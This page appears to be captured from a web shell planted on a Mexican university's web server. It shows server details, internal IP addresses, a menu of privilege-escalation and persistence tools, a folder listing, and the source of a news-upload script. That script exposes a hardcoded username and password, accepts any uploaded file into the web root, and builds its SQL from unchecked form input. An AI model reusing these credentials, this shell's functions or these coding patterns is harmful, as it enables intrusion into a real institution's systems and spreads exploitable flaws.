Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
noticias /
img /
[ HOME SHELL ]
Name
Size
Permission
Action
11.jpg
35.93
KB
-rwxrwxr-x
1.jpeg
118.72
KB
-rwxrwxr-x
2.jpeg
105.6
KB
-rwxrwxr-x
3.jpeg
106.18
KB
-rwxrwxr-x
4.jpeg
143.19
KB
-rwxrwxr-x
5.jpeg
118.66
KB
-rwxrwxr-x
agenda mes de la mujer.jpg
2.89
MB
-rwxrwxr-x
article (1).png
468.73
KB
-rwxrwxr-x
article.png
296.46
KB
-rwxrwxr-x
Asesorías S-D 2019.png
172.45
KB
-rwxrwxr-x
aviso sat.jpg
833.17
KB
-rwxrwxr-x
baneer.jpg
3.15
MB
-rwxrwxr-x
BECA1.jpg
395.59
KB
-rwxrwxr-x
BECA2.jpg
398.54
KB
-rwxrwxr-x
beca estatal de inscripcion.jpg
700.52
KB
-rwxrwxr-x
beca estatal de materiales.jpg
732.76
KB
-rwxrwxr-x
beca estatal de titulacion.jpg
915.01
KB
-rwxrwxr-x
beca madres.jpg
3.15
MB
-rwxrwxr-x
becas alimenticias.jpg
338.27
KB
-rwxrwxr-x
becas obed 2020-3 académicas.jpg
3.75
MB
-rwxrwxr-x
becas obed 2020 académicas.jpg
3.37
MB
-rwxrwxr-x
cancer pantallas.jpg
502.89
KB
-rwxrwxr-x
convocatoria declamación.jpg
636.97
KB
-rwxrwxr-x
convocatoria grafitti.jpg
697.3
KB
-rwxrwxr-x
convocatoria oratoria.jpg
706.85
KB
-rwxrwxr-x
convocatoria Robotics.jpg
442.09
KB
-rwxrwxr-x
entrega de fichas.jpg
3.39
MB
-rwxrwxr-x
index.php
4.03
KB
-rwxrwxr-x
inscripciones enero.jpg
2.45
MB
-rwxrwxr-x
josejosepantallas.jpg
1.05
MB
-rwxrwxr-x
logos institucionales.jpg
338.38
KB
-rwxrwxr-x
nueva ruta.jpg
2.89
MB
-rwxrwxr-x
nuevo ingreso credenciales aviso.jpg
739.59
KB
-rwxrwxr-x
pantallas semana literaria.jpg
1.52
MB
-rwxrwxr-x
pantallas solo hoy.jpeg
199.15
KB
-rwxrwxr-x
playeras.jpg
770.9
KB
-rwxrwxr-x
postcheck.inc.php
209
B
-rwxrwxr-x
poster 1.jpg
4.97
MB
-rwxrwxr-x
poster 2.jpg
3.72
MB
-rwxrwxr-x
poster 3.jpg
3.68
MB
-rwxrwxr-x
poster 4.jpg
4.97
MB
-rwxrwxr-x
que implica pantallas.jpg
694.05
KB
-rwxrwxr-x
residencias biblioteca.jpg
865.62
KB
-rwxrwxr-x
RESULTADO DE BECA ACADEMICA OCTUBRE 2019.jpg
696.12
KB
-rwxrwxr-x
SE BUSCA AUDITOR DE CALIDAD.jpg
403.9
KB
-rwxrwxr-x
servicio social biblioteca.jpg
745.43
KB
-rwxrwxr-x
sistema_pqrsfd.jpg
2.37
MB
-rwxrwxr-x
utparral pantallas.jpg
400.66
KB
-rwxrwxr-x
WhatsApp Image 2019-10-24 at 11.15.54 AM.jpeg
198.22
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<!DOCTYPE html> <html lang="es"> <?php session_start(); ?> <head> <meta charset="UTF-8"> <title>SUBIR IMAGEN</title> </head> <body> <link rel="stylesheet" href="../css/bootstrap.min.css"> <?php //include "../cabecera.html" ?> <style> .noticias{ position:absolute; height: 550px; background-color: rgba(20,20,20,.05); padding: 30px; border-radius: 30px; left: 33%; top: 10%; } .noticias2{ position:absolute; height: 300px; background-color: rgba(20,20,20,.05); padding: 30px; border-radius: 30px; left:40%; top: 25%; } </style> <?php $login="<form action='index.php' method='post' class='noticias2'> <h1>Bienvenido/a</h1> Usuario<input type='text' name='user' class='form-control'> Contraseña<input type='password' name='pass' id='' class='form-control'> <br> <center><input type='submit' value='Ingresar' name='login' class='btn btn-primary'></center> </form>"; $fecha=date('Y-m-d'); $formulario= "<form action='index.php' method='post' enctype='multipart/form-data' class='noticias'> <h1>Noticias</h1> <label>Ingesa el titulo</label> <input type='text' name='titulo' class='form-control'> <br> <label>Selecciona la imagen</label> <input type='file' name='imagen' class='btn btn-primary'> <br> <label>Ingesa la fecha de inicio</label> <input type='date' name='fecha' class='form-control' id='datePiker' value='$fecha';> <br> <label>Ingesa la fecha de caducidad</label> <input type='date' name='fechac' class='form-control' > <label for=''>URL</label> <input type='text' name='url' class='form-control'> <br> <center> <input type='submit' value='Enviar' name='guardar' class='btn btn-primary'> </center> </form>"; if (isset($_GET['l'])){ unset($_SESSION['usuario']); } if (isset($_POST['login'])){ if (($_POST['user']==='jhony')and($_POST['pass']=='Salmo911')){ $_SESSION['usuario']='jhony'; }else{ unset($_SESSION['usuario']); } } if (!isset($_SESSION['usuario'])){ echo $login; } else{ echo $formulario; echo "<center><h3><a href='index.php?l=0'>Cerrar sesión</a></h3></center>"; } if(isset($_POST['guardar'])) { include("conectar.php"); $titulo=$_POST['titulo']; $nombreimg=$_FILES['imagen']['name']; //nombre $archivo=$_FILES['imagen']['tmp_name']; //archivo $fecha=$_POST['fecha']; $fechac=$_POST['fechac']; $ruta="img"; $ruta=$ruta."/".$nombreimg; //ruta img/ojfg.jpg echo $ruta."<br>"; echo $nombreimg; if (isset($_POST['url'])){ $url=$_POST['url']; }else{ $url=$ruta; } move_uploaded_file($archivo,$ruta); $sql="insert into noticias values('$titulo','$ruta','$fecha','$fechac','$url')"; $query=mysqli_query($conex,$sql) or die(mysqli_error()); if($query){ echo "Noticia insertada Correctamente</br>"; echo $sql; } else{ echo "Error al insertar"; } } ?> </body> </html>
Close